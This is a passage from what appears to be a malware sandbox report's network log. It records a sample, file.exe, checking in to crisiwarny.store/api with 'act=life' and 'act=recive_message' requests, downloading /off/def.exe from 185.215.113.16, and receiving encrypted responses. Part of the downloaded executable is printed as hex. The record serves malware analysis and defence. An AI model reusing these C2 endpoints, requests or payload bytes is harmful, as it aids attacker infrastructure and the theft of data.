Oct 27, 2024 17:55:24.266799927 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266810894 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.266845942 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.300465107 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.300482035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.300496101 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.300534964 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.300584078 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.300647020 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.354799986 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:26.319835901 CET	49713	80	192.168.2.8	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 17:55:04.360116005 CET	62102	53	192.168.2.8	1.1.1.1
Oct 27, 2024 17:55:04.370459080 CET	53	62102	1.1.1.1	192.168.2.8
Oct 27, 2024 17:55:04.377119064 CET	64022	53	192.168.2.8	1.1.1.1
Oct 27, 2024 17:55:04.395931959 CET	53	64022	1.1.1.1	192.168.2.8
Oct 27, 2024 17:55:23.538338900 CET	53	60222	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 17:55:04.360116005 CET	192.168.2.8	1.1.1.1	0x3b2e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:55:04.377119064 CET	192.168.2.8	1.1.1.1	0x9118	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 17:55:04.370459080 CET	1.1.1.1	192.168.2.8	0x3b2e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:55:04.395931959 CET	1.1.1.1	192.168.2.8	0x9118	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false
Oct 27, 2024 17:55:04.395931959 CET	1.1.1.1	192.168.2.8	0x9118	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49713	185.215.113.16	80	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 17:55:18.035815954 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 27, 2024 17:55:18.941291094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 27 Oct 2024 16:55:18 GMT Content-Type: application/octet-stream Content-Length: 2793472 Last-Modified: Sun, 27 Oct 2024 16:23:20 GMT Connection: keep-alive ETag: "671e68f8-2aa000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 1e 35 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+5+`Ui` @ @.rsrc`2@.idata 8@mfetmjcm@@:@cflgwhxy z@.taggant@+"~*@
Oct 27, 2024 17:55:18.941313028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:55:18.941325903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:55:18.941368103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:55:18.941380978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:55:18.941391945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:55:18.941405058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 17:55:18.941485882 CET	1236	IN	Data Raw: b8 d8 c2 f1 df 3d c6 28 59 2c c4 b0 68 56 9f 42 b5 71 89 52 7a 13 98 92 a3 e6 79 2f 13 73 ea 1d 81 64 50 cf 0d 55 29 13 b1 ad 7f 38 fe 0f 16 33 4a e7 e5 42 86 e2 b6 76 5a 15 c1 74 4a df fa 1c 3e da b5 f2 df e1 b1 da 73 f6 e2 78 64 fc c0 a1 95 c5 Data Ascii: =(Y,hVBqRzy/sdPU)83JBvZtJ>sxdMoy2N7Ia,L=.5!jT$ua`#LJuR^_?RRby&D;{ ^~s*gZ<SE%?Ye2Refqb
Oct 27, 2024 17:55:18.941498041 CET	1236	IN	Data Raw: c4 d9 db d8 1b d9 df 4c b5 cc 64 39 63 04 da bf 99 0c b6 34 e8 13 78 4f aa 61 80 e8 3b 24 b0 f1 99 0c 70 52 b8 44 74 eb ac d3 31 71 3b d9 9b f2 99 38 dc 00 e8 20 8c 3e 6e 7d 96 f4 93 04 38 18 ea 05 50 95 62 58 a7 6a 3b 64 c8 f1 d9 f5 2f a1 d1 9c Data Ascii: Ld9c4xOa;$pRDt1q;8 >n}8PbXj;d/X` ?G:XIpNNdQ/`ioaXRD~tbR 0X@2#Q2@49Dz0GIjA_+hS+]/\|XBtd:$)b/;6[1gQO1
Oct 27, 2024 17:55:18.941509962 CET	1236	IN	Data Raw: 7c fa b2 e7 e5 1c dc 1b 89 41 ec f2 50 c0 a9 bd 4e d3 dd 00 8c e9 7f 87 5f 2e 69 0f 6f bc 8f 8e 75 01 6a 01 4e 5d 7e 2d cb 2f 0f 1c 3a f2 6e 57 89 e4 8f e2 5b 43 2b 0d 4a d4 39 0d 7b 33 8c 93 d1 e9 87 3f 48 2f a0 e9 4c aa 50 f2 d3 89 d3 9c 18 be Data Ascii: \|APN_.ioujN]~-/:nW[C+J9{3?H/LPVc"7+2&tU?)A/]oSA@z3YS>iy'&Bup<Xo`{F&OyEw%P/_[a\|N[WCj!tgl{L9W H)V
Oct 27, 2024 17:55:18.946877003 CET	1120	IN	Data Raw: 53 21 23 85 31 f0 b8 14 2e 7c bf 2d f7 d0 7d 51 5e e9 a9 b1 5d f0 9b 20 6b 0a 08 09 5d e1 24 42 5e e0 a1 e6 9a f5 4d 5c e8 bd 15 f8 7e a3 d7 bf 94 96 94 ed 7c 42 e4 30 9a d2 ad dd 73 35 88 e6 63 37 a6 eb 6d 33 9b 7f 19 f9 c4 61 29 3f 89 ab 79 bc Data Ascii: S!#1.\|-}Q^] k]$B^M\~\|B0s5c7m3a)?yWc,#hm9VPY&HrB6>ISQSC57wfV@A_a?@BL%q[x _#KGwAYb52Q_~vJ)p=p(

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	104.21.95.91	443	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:55:05 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-27 16:55:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-27 16:55:05 UTC	1001	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:55:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v8nr7lg4q9c62atfm6uj204gqm; expires=Thu, 20 Feb 2025 10:41:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M4AU8uAo8VXNufmitTB9WzMgTUjvo3iYIBdWBeR17QDsIs5qJIyKJiGgJo0PWTutCmifP6AofuXPk79RmotIXdFrE0euuImO71GGvOSBGmxKxNwpFEF7NwtNQ7CxUn1oTiti"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9436328d8d47a8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1284&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=2124724&cwnd=251&unsent_bytes=0&cid=7a1581e343586cc9&ts=800&x=0"
2024-10-27 16:55:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-27 16:55:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	104.21.95.91	443	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:55:06 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-27 16:55:06 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-27 16:55:06 UTC	1007	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:55:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=458k6g7qph1dqcvgpe1t9tn9k3; expires=Thu, 20 Feb 2025 10:41:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=km4mgvOAUpvH0Efa9tw6lssB7JTJcMPKoRXOJNZnGr29Ybu4sl8GajZrTEKVKj16wzD%2Btz9JvNHgQ17YlxJXSkfngLByHI7dtycFjWdMfytkMeg9FwS099%2FDXt3KteLqGjS%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d943639fcf18d26-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1811131&cwnd=241&unsent_bytes=0&cid=3d11d841759788c4&ts=477&x=0"
2024-10-27 16:55:06 UTC	362	IN	Data Raw: 31 64 37 63 0d 0a 73 45 52 41 62 6d 7a 36 4e 46 38 31 69 2f 66 66 77 35 43 6f 6b 2f 52 6a 61 44 38 4a 48 64 4f 77 77 6d 37 6b 58 61 36 6a 52 62 2f 4c 5a 6a 5a 4d 56 73 34 59 66 55 62 75 31 65 57 33 34 74 33 32 32 45 45 4a 57 79 73 6e 74 64 47 75 48 59 46 78 6a 4e 55 6f 6e 59 6f 69 49 51 49 66 6e 78 68 39 55 50 50 56 35 5a 6a 72 69 76 61 61 51 56 49 64 62 48 65 78 30 61 34 4d 68 54 62 42 30 79 6e 63 32 43 67 6e 42 67 6d 5a 55 44 35 5a 35 70 4b 36 70 76 48 43 2f 5a 30 4f 41 46 49 72 4d 66 48 56 75 45 7a 65 66 2b 50 47 4d 64 37 39 4a 54 4d 46 54 6f 63 59 4a 42 66 75 6d 66 33 35 73 73 6e 32 6c 67 38 4f 57 32 4a 31 75 39 69 6d 44 59 41 33 33 73 6f 6a 31 39 67 6d 4a 41 63 44 6b 45 51 7a 55 2b 47 5a 76 4b 7a 78 69 72 2f 57 42 68 49 64 4d 7a 2f 69 34 4b 4d 64 6c Data Ascii: 1d7csERAbmz6NF81i/ffw5Cok/RjaD8JHdOwwm7kXa6jRb/LZjZMVs4YfUbu1eW34t322EEJWysntdGuHYFxjNUonYoiIQIfnxh9UPPV5ZjrivaaQVIdbHex0a4MhTbB0ync2CgnBgmZUD5Z5pK6pvHC/Z0OAFIrMfHVuEzef+PGMd79JTMFTocYJBfumf35ssn2lg8OW2J1u9imDYA33soj19gmJAcDkEQzU+GZvKzxir/WBhIdMz/i4KMdl
2024-10-27 16:55:06 UTC	1369	IN	Data Raw: 75 4c 50 35 77 2f 79 62 41 51 64 58 5a 48 79 78 31 61 6f 47 69 54 58 49 7a 43 72 62 30 69 5a 69 51 6b 36 66 54 6e 30 50 71 62 61 34 73 66 58 47 35 39 51 37 53 6b 49 6c 5a 76 48 56 72 45 7a 65 66 38 54 45 4a 4e 37 5a 4b 53 45 45 42 59 70 57 4c 31 48 6b 6b 4b 2b 6e 39 38 54 37 6c 52 4d 41 55 32 31 38 75 4e 6d 70 43 59 45 37 6a 49 39 6e 32 73 70 6d 65 6b 77 76 6c 56 30 78 58 66 36 56 2f 62 36 38 30 37 47 52 44 55 6f 46 4b 33 75 77 31 71 45 49 69 44 48 49 7a 53 48 54 33 79 6b 6b 42 67 36 66 58 44 56 66 36 4a 69 32 72 76 4c 50 2f 4a 49 48 42 6c 78 75 50 2f 2b 53 70 78 54 47 5a 34 7a 76 49 4e 37 41 5a 42 63 50 41 4a 5a 52 4b 78 66 32 32 36 54 68 39 63 61 78 7a 6b 45 45 57 47 52 74 73 4d 43 6c 41 70 51 7a 79 63 63 71 33 74 77 6d 4a 77 73 44 6c 6c 41 36 56 4f 47 Data Ascii: uLP5w/ybAQdXZHyx1aoGiTXIzCrb0iZiQk6fTn0Pqba4sfXG59Q7SkIlZvHVrEzef8TEJN7ZKSEEBYpWL1HkkK+n98T7lRMAU218uNmpCYE7jI9n2spmekwvlV0xXf6V/b6807GRDUoFK3uw1qEIiDHIzSHT3ykkBg6fXDVf6Ji2rvLP/JIHBlxuP/+SpxTGZ4zvIN7AZBcPAJZRKxf226Th9caxzkEEWGRtsMClApQzyccq3twmJwsDllA6VOG
2024-10-27 16:55:06 UTC	1369	IN	Data Raw: 63 61 78 7a 6b 45 47 56 47 74 30 75 39 61 67 43 34 73 36 7a 38 59 6b 30 4e 55 73 4c 41 73 4b 6c 46 38 77 55 65 6d 53 75 61 54 67 7a 2f 69 61 44 55 6f 54 4b 33 69 70 6b 76 68 4d 71 54 6a 61 77 67 6a 65 77 79 39 69 45 30 43 42 46 6a 70 62 71 63 33 39 70 76 66 43 2b 70 41 4a 43 6b 39 75 63 62 72 54 71 67 71 48 4d 73 44 48 4a 39 7a 53 49 43 34 4d 43 5a 39 45 4c 31 4c 76 68 37 66 68 76 49 72 32 6a 6b 46 53 48 56 31 76 70 73 4f 32 54 72 4d 38 77 73 38 67 79 35 49 35 62 42 56 4f 6e 31 70 39 44 36 6d 65 76 61 33 31 77 76 65 53 43 51 56 53 59 6d 32 77 33 71 34 65 67 54 2f 46 7a 79 6a 52 32 79 73 6c 41 51 57 53 57 7a 6c 51 36 4e 58 7a 34 66 58 53 73 63 35 42 50 45 31 6d 63 35 2f 5a 72 41 58 47 49 49 4c 59 5a 39 72 65 5a 6e 70 4d 43 70 52 65 4e 31 6a 67 6e 37 65 75 Data Ascii: caxzkEGVGt0u9agC4s6z8Yk0NUsLAsKlF8wUemSuaTgz/iaDUoTK3ipkvhMqTjawgjewy9iE0CBFjpbqc39pvfC+pAJCk9ucbrTqgqHMsDHJ9zSIC4MCZ9EL1Lvh7fhvIr2jkFSHV1vpsO2TrM8ws8gy5I5bBVOn1p9D6meva31wveSCQVSYm2w3q4egT/FzyjR2yslAQWSWzlQ6NXz4fXSsc5BPE1mc5/ZrAXGIILYZ9reZnpMCpReN1jgn7eu
2024-10-27 16:55:06 UTC	1369	IN	Data Raw: 6c 42 52 42 31 73 5a 2f 47 4b 34 43 4f 68 43 6f 37 67 48 5a 33 4e 61 44 74 4d 43 5a 51 57 5a 52 66 6c 6c 72 47 70 2f 63 7a 34 6d 67 73 44 56 6d 64 30 74 64 36 70 43 59 41 2b 79 63 51 6d 32 64 34 73 4a 41 38 4e 6c 31 6b 79 58 36 6e 62 2f 61 62 71 69 71 6e 57 4a 42 31 57 5a 58 6e 78 7a 65 34 56 78 6a 6a 41 67 58 2b 64 33 69 38 6b 43 67 75 55 56 7a 74 66 37 4a 32 35 6f 50 54 4d 38 70 6b 46 44 31 78 6b 65 37 33 63 71 67 32 48 4d 38 66 4f 4c 4e 69 53 61 47 49 4c 46 74 67 4f 66 57 62 71 67 36 71 78 2f 6f 72 75 32 42 68 4b 57 6d 63 2f 36 5a 4b 68 48 6f 77 31 77 73 51 6f 32 4e 45 70 4a 51 45 49 6c 46 77 30 58 2b 2b 61 74 4c 50 78 78 76 2b 52 44 77 5a 54 5a 6e 57 79 33 2b 42 43 78 6a 6a 55 67 58 2b 64 2f 69 45 76 49 67 57 55 55 58 31 49 70 34 7a 39 70 76 36 4b 71 Data Ascii: lBRB1sZ/GK4COhCo7gHZ3NaDtMCZQWZRfllrGp/cz4mgsDVmd0td6pCYA+ycQm2d4sJA8Nl1kyX6nb/abqiqnWJB1WZXnxze4VxjjAgX+d3i8kCguUVztf7J25oPTM8pkFD1xke73cqg2HM8fOLNiSaGILFtgOfWbqg6qx/oru2BhKWmc/6ZKhHow1wsQo2NEpJQEIlFw0X++atLPxxv+RDwZTZnWy3+BCxjjUgX+d/iEvIgWUUX1Ip4z9pv6Kq
2024-10-27 16:55:06 UTC	1369	IN	Data Raw: 72 62 47 2b 68 30 65 49 39 6b 44 7a 61 79 69 72 52 6b 6a 6c 73 46 55 36 66 57 6e 30 50 71 5a 4f 79 71 50 48 46 38 4a 38 4e 42 31 68 69 65 72 44 55 70 41 61 4d 50 38 72 48 4a 74 6a 59 4a 53 4d 47 42 35 39 65 4f 6c 54 37 31 66 50 68 39 64 4b 78 7a 6b 45 6a 57 6e 6c 78 6f 5a 4b 2f 51 70 39 2f 79 38 31 6e 68 5a 49 69 4b 41 4d 4b 6e 31 6f 37 55 75 2b 59 76 4b 37 7a 79 76 36 53 43 67 4e 62 61 6e 4b 30 33 36 51 65 6a 44 54 44 7a 53 37 52 33 32 5a 73 54 41 6d 41 46 6d 55 58 32 4a 69 7a 72 2f 58 63 73 59 6c 50 45 78 31 73 63 2f 47 4b 34 41 32 4b 4d 4d 2f 4f 4a 4e 37 54 4c 44 41 65 41 70 46 65 4f 46 76 69 6d 37 75 7a 39 4d 58 34 6c 51 49 44 57 6d 4e 7a 75 39 47 6e 54 4d 68 2f 79 39 6c 6e 68 5a 49 46 4e 52 77 44 32 45 6c 7a 54 71 6d 53 73 65 47 71 69 76 6d 62 43 51 Data Ascii: rbG+h0eI9kDzayirRkjlsFU6fWn0PqZOyqPHF8J8NB1hierDUpAaMP8rHJtjYJSMGB59eOlT71fPh9dKxzkEjWnlxoZK/Qp9/y81nhZIiKAMKn1o7Uu+YvK7zyv6SCgNbanK036QejDTDzS7R32ZsTAmAFmUX2Jizr/XcsYlPEx1sc/GK4A2KMM/OJN7TLDAeApFeOFvim7uz9MX4lQIDWmNzu9GnTMh/y9lnhZIFNRwD2ElzTqmSseGqivmbCQ
2024-10-27 16:55:06 UTC	1369	IN	Data Raw: 75 4e 61 6f 44 34 59 37 79 4d 59 69 33 74 34 74 4a 51 38 42 6e 46 38 7a 58 75 62 56 38 2b 48 31 30 72 48 4f 51 53 74 47 61 48 4f 38 6b 72 39 43 6e 33 2f 4c 7a 57 65 46 6b 69 6f 73 43 51 36 53 55 44 6c 53 37 35 2b 34 6f 66 6e 4a 2f 70 49 48 44 6c 4a 72 64 4c 6a 54 70 67 6d 4d 4e 4d 72 4d 4a 4e 76 55 5a 6d 78 4d 43 59 41 57 5a 52 66 4a 6a 72 43 74 39 59 72 75 32 42 68 4b 57 6d 63 2f 36 5a 4b 72 41 49 49 34 7a 4d 77 6b 31 64 63 69 4b 41 6b 4f 6b 45 51 31 56 2b 36 48 72 36 48 37 7a 2f 32 56 41 51 35 62 59 6e 6d 79 31 75 42 43 78 6a 6a 55 67 58 2b 64 2f 79 6f 6c 4a 51 6d 44 46 69 49 5a 38 4e 57 36 72 62 4b 53 73 5a 63 4b 41 46 4a 6d 66 4c 66 52 71 77 6d 4d 50 73 76 4a 4b 73 2f 52 4b 53 30 49 44 70 64 51 4f 31 62 6d 6b 37 71 6f 38 38 4c 32 31 6b 39 4b 57 6e 4d Data Ascii: uNaoD4Y7yMYi3t4tJQ8BnF8zXubV8+H10rHOQStGaHO8kr9Cn3/LzWeFkiosCQ6SUDlS75+4ofnJ/pIHDlJrdLjTpgmMNMrMJNvUZmxMCYAWZRfJjrCt9Yru2BhKWmc/6ZKrAII4zMwk1dciKAkOkEQ1V+6Hr6H7z/2VAQ5bYnmy1uBCxjjUgX+d/yolJQmDFiIZ8NW6rbKSsZcKAFJmfLfRqwmMPsvJKs/RKS0IDpdQO1bmk7qo88L21k9KWnM
2024-10-27 16:55:06 UTC	349	IN	Data Raw: 41 75 52 4d 49 79 50 5a 39 4b 53 66 68 74 4d 42 35 39 4e 4c 45 48 6b 68 62 72 68 7a 59 53 78 6a 6b 46 53 48 56 35 38 76 39 79 6e 47 70 64 79 36 39 63 74 32 73 49 68 4e 51 4e 4f 31 68 59 37 46 37 48 47 38 2b 48 32 32 37 48 4f 55 56 67 47 50 69 7a 6d 67 76 49 54 79 43 61 4d 31 32 65 46 67 47 68 69 48 6b 37 41 46 6e 70 55 2b 34 65 37 6f 75 54 4a 74 71 67 2f 4c 55 64 6d 65 61 62 44 6e 6a 4b 42 4a 63 48 48 4d 4d 79 65 4d 79 45 43 41 4a 39 41 66 52 6d 70 6d 76 33 35 79 34 71 35 31 6a 35 45 48 58 4d 2f 36 5a 4b 56 44 34 67 78 79 39 63 32 6b 50 55 38 4c 77 6f 5a 69 52 5a 7a 46 2b 2f 56 35 66 47 38 69 76 57 48 51 56 49 4e 4f 53 54 6b 67 66 64 63 31 43 43 43 32 47 66 4c 6b 6e 35 77 51 6b 36 4b 46 6d 55 58 72 70 61 76 73 2f 54 4a 35 35 56 47 4e 47 4e 46 65 4c 66 58 Data Ascii: AuRMIyPZ9KSfhtMB59NLEHkhbrhzYSxjkFSHV58v9ynGpdy69ct2sIhNQNO1hY7F7HG8+H227HOUVgGPizmgvITyCaM12eFgGhiHk7AFnpU+4e7ouTJtqg/LUdmeabDnjKBJcHHMMyeMyECAJ9AfRmpmv35y4q51j5EHXM/6ZKVD4gxy9c2kPU8LwoZiRZzF+/V5fG8ivWHQVINOSTkgfdc1CCC2GfLkn5wQk6KFmUXrpavs/TJ55VGNGNFeLfX
2024-10-27 16:55:06 UTC	1369	IN	Data Raw: 32 36 66 30 0d 0a 67 58 2b 50 6e 47 59 77 54 46 62 59 45 54 35 46 2b 35 4f 2b 74 2f 47 4e 7a 36 67 43 48 46 42 6b 64 4c 44 73 6e 69 4b 4c 50 73 2f 50 5a 65 7a 45 4b 7a 49 50 43 35 39 6f 41 31 6e 75 67 62 71 76 39 4d 71 78 32 45 45 46 48 54 4e 47 38 5a 72 67 4d 38 68 2f 31 49 46 2f 6e 65 63 6c 4c 41 49 4a 6a 6b 64 77 64 50 2b 59 73 71 72 7a 69 72 2f 57 42 30 6f 46 4f 7a 48 78 31 72 46 4d 33 6d 2b 65 6d 6e 4b 4f 68 58 5a 77 45 30 43 42 46 69 73 58 73 63 66 7a 34 65 43 4b 71 64 5a 47 42 46 42 71 66 4c 2f 52 73 68 36 41 50 4e 72 43 59 4f 50 73 42 79 38 48 41 70 56 5a 4e 6d 6e 58 74 4c 43 71 2f 73 66 2b 6e 54 38 30 53 47 68 78 76 39 57 32 48 63 5a 78 6a 4d 35 6e 68 65 74 6d 61 6b 77 78 31 68 59 6c 46 37 48 56 69 4b 4c 38 78 50 61 41 45 45 64 38 5a 6e 53 39 33 Data Ascii: 26f0gX+PnGYwTFbYET5F+5O+t/GNz6gCHFBkdLDsniKLPs/PZezEKzIPC59oA1nugbqv9Mqx2EEFHTNG8ZrgM8h/1IF/neclLAIJjkdwdP+Ysqrzir/WB0oFOzHx1rFM3m+emnKOhXZwE0CBFisXscfz4eCKqdZGBFBqfL/Rsh6APNrCYOPsBy8HApVZNmnXtLCq/sf+nT80SGhxv9W2HcZxjM5nhetmakwx1hYlF7HViKL8xPaAEEd8ZnS93
2024-10-27 16:55:06 UTC	1369	IN	Data Raw: 38 33 74 4d 68 33 73 51 6c 5a 54 49 77 76 55 45 2b 52 2b 2b 57 67 35 2f 5a 78 76 65 52 47 77 31 62 54 56 2f 78 6e 4f 41 44 78 6d 66 31 67 57 2b 64 37 57 68 69 46 45 37 41 46 67 68 55 35 35 75 36 74 2b 4f 48 31 49 45 43 47 6c 74 6f 50 2f 2b 53 70 6b 7a 65 62 34 4b 42 49 38 79 53 66 6e 4a 65 56 63 30 46 61 67 65 37 69 76 4f 34 73 74 79 78 7a 6c 4e 45 48 58 6b 2f 36 5a 4c 6e 44 35 51 74 79 73 49 78 33 70 55 59 48 43 6f 4e 69 56 77 63 57 76 6d 53 67 35 2f 6e 79 66 2b 59 42 68 78 4d 4b 7a 48 78 33 65 42 55 76 33 2b 45 6a 53 48 65 78 47 59 64 51 6b 36 41 46 6d 55 58 33 4a 61 7a 72 2f 58 63 34 4e 73 6e 43 55 78 68 58 72 7a 43 70 30 7a 49 66 38 71 42 66 34 36 63 5a 69 59 64 54 73 41 47 62 77 79 38 78 75 72 78 6f 4e 57 2f 6a 30 45 63 48 54 4d 74 2f 35 4b 79 54 4e Data Ascii: 